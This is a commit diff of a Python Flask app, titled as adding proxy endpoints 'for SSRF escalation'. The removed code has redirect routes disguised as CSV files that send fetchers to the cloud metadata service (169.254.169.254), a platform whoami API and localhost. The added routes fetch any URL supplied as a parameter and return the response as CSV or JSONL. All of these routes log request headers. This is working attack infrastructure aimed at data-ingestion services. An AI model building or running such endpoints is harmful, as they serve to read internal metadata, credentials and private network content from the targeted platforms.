aaxaxax commited on
Commit
35c128f
·
1 Parent(s): d930fc3

Add proxy CSV/JSONL endpoints for SSRF escalation

Browse files
Files changed (1) hide show
  1. app.py +27 -59
app.py CHANGED
@@ -50,9 +50,10 @@ def redir():
50
  code = int(request.args.get('code', '302'))
51
  return redirect(target, code=code)
52
 
53
- # Redirect endpoints disguised as data files for SSRF testing
54
- @app.route('/redir-metadata.csv')
55
- def redir_metadata():
 
56
  entry = {
57
  'time': time.time(),
58
  'method': request.method,
@@ -61,50 +62,21 @@ def redir_metadata():
61
  'remote_addr': request.remote_addr
62
  }
63
  LOG.append(entry)
64
- return redirect('http://169.254.169.254/latest/meta-data/', 302)
65
-
66
- @app.route('/redir-metadata-v2.csv')
67
- def redir_metadata_v2():
68
- entry = {
69
- 'time': time.time(),
70
- 'method': request.method,
71
- 'path': request.full_path,
72
- 'headers': dict(request.headers),
73
- 'remote_addr': request.remote_addr
74
- }
75
- LOG.append(entry)
76
- # IMDSv1 - different path
77
- return redirect('http://169.254.169.254/latest/user-data', 302)
78
-
79
- @app.route('/redir-internal.csv')
80
- def redir_internal():
81
- entry = {
82
- 'time': time.time(),
83
- 'method': request.method,
84
- 'path': request.full_path,
85
- 'headers': dict(request.headers),
86
- 'remote_addr': request.remote_addr
87
- }
88
- LOG.append(entry)
89
- # Try to hit HuggingFace internal API
90
- return redirect('http://huggingface.co/api/whoami', 302)
91
-
92
- @app.route('/redir-localhost.csv')
93
- def redir_localhost():
94
- entry = {
95
- 'time': time.time(),
96
- 'method': request.method,
97
- 'path': request.full_path,
98
- 'headers': dict(request.headers),
99
- 'remote_addr': request.remote_addr
100
- }
101
- LOG.append(entry)
102
- return redirect('http://localhost:8080/', 302)
103
 
104
- @app.route('/redir-target.csv')
105
- def redir_target():
106
- """Dynamic redirect - set target via query param"""
107
- target = request.args.get('t', 'http://127.0.0.1/')
108
  entry = {
109
  'time': time.time(),
110
  'method': request.method,
@@ -113,7 +85,15 @@ def redir_target():
113
  'remote_addr': request.remote_addr
114
  }
115
  LOG.append(entry)
116
- return redirect(target, 302)
 
 
 
 
 
 
 
 
117
 
118
  @app.route('/mcp-proxy', methods=['GET', 'POST'])
119
  def mcp_proxy():
@@ -139,18 +119,6 @@ def mcp_proxy():
139
  f"data: {json.dumps({'error': str(e)})}\n\n",
140
  content_type='text/event-stream'
141
  )
142
- if request.method == 'POST':
143
- body = request.get_json(silent=True) or {}
144
- if body.get('method') == 'initialize':
145
- return jsonify({
146
- "jsonrpc": "2.0",
147
- "id": body.get('id', 0),
148
- "result": {
149
- "protocolVersion": "2025-11-25",
150
- "capabilities": {"tools": {}},
151
- "serverInfo": {"name": "test-server", "version": "1.0.0"}
152
- }
153
- })
154
  return jsonify({"status": "ok"})
155
 
156
  @app.route('/env')
 
50
  code = int(request.args.get('code', '302'))
51
  return redirect(target, code=code)
52
 
53
+ # Smart proxy CSV: fetches any URL and returns result as CSV
54
+ @app.route('/proxy-csv.csv')
55
+ def proxy_csv():
56
+ target = request.args.get('t', '')
57
  entry = {
58
  'time': time.time(),
59
  'method': request.method,
 
62
  'remote_addr': request.remote_addr
63
  }
64
  LOG.append(entry)
65
+ if not target:
66
+ return 'text\nno target specified\n', 200, {'Content-Type': 'text/csv'}
67
+ try:
68
+ r = requests.get(target, timeout=10, verify=False)
69
+ # Wrap response as CSV
70
+ lines = r.text.split('\n')[:100]
71
+ csv_data = 'text\n' + '\n'.join(f'"{line}"' for line in lines if line.strip()) + '\n'
72
+ return csv_data, 200, {'Content-Type': 'text/csv'}
73
+ except Exception as e:
74
+ return f'text\nerror: {str(e)}\n', 200, {'Content-Type': 'text/csv'}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
75
 
76
+ # Smart proxy JSONL: fetches any URL and returns result as JSONL
77
+ @app.route('/proxy-jsonl.jsonl')
78
+ def proxy_jsonl():
79
+ target = request.args.get('t', '')
80
  entry = {
81
  'time': time.time(),
82
  'method': request.method,
 
85
  'remote_addr': request.remote_addr
86
  }
87
  LOG.append(entry)
88
+ if not target:
89
+ return '{"text": "no target"}\n', 200, {'Content-Type': 'application/jsonl'}
90
+ try:
91
+ r = requests.get(target, timeout=10, verify=False)
92
+ lines = r.text.split('\n')[:100]
93
+ jsonl_data = '\n'.join(json.dumps({"text": line}) for line in lines if line.strip()) + '\n'
94
+ return jsonl_data, 200, {'Content-Type': 'application/jsonl'}
95
+ except Exception as e:
96
+ return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
97
 
98
  @app.route('/mcp-proxy', methods=['GET', 'POST'])
99
  def mcp_proxy():
 
119
  f"data: {json.dumps({'error': str(e)})}\n\n",
120
  content_type='text/event-stream'
121
  )
 
 
 
 
 
 
 
 
 
 
 
 
122
  return jsonify({"status": "ok"})
123
 
124
  @app.route('/env')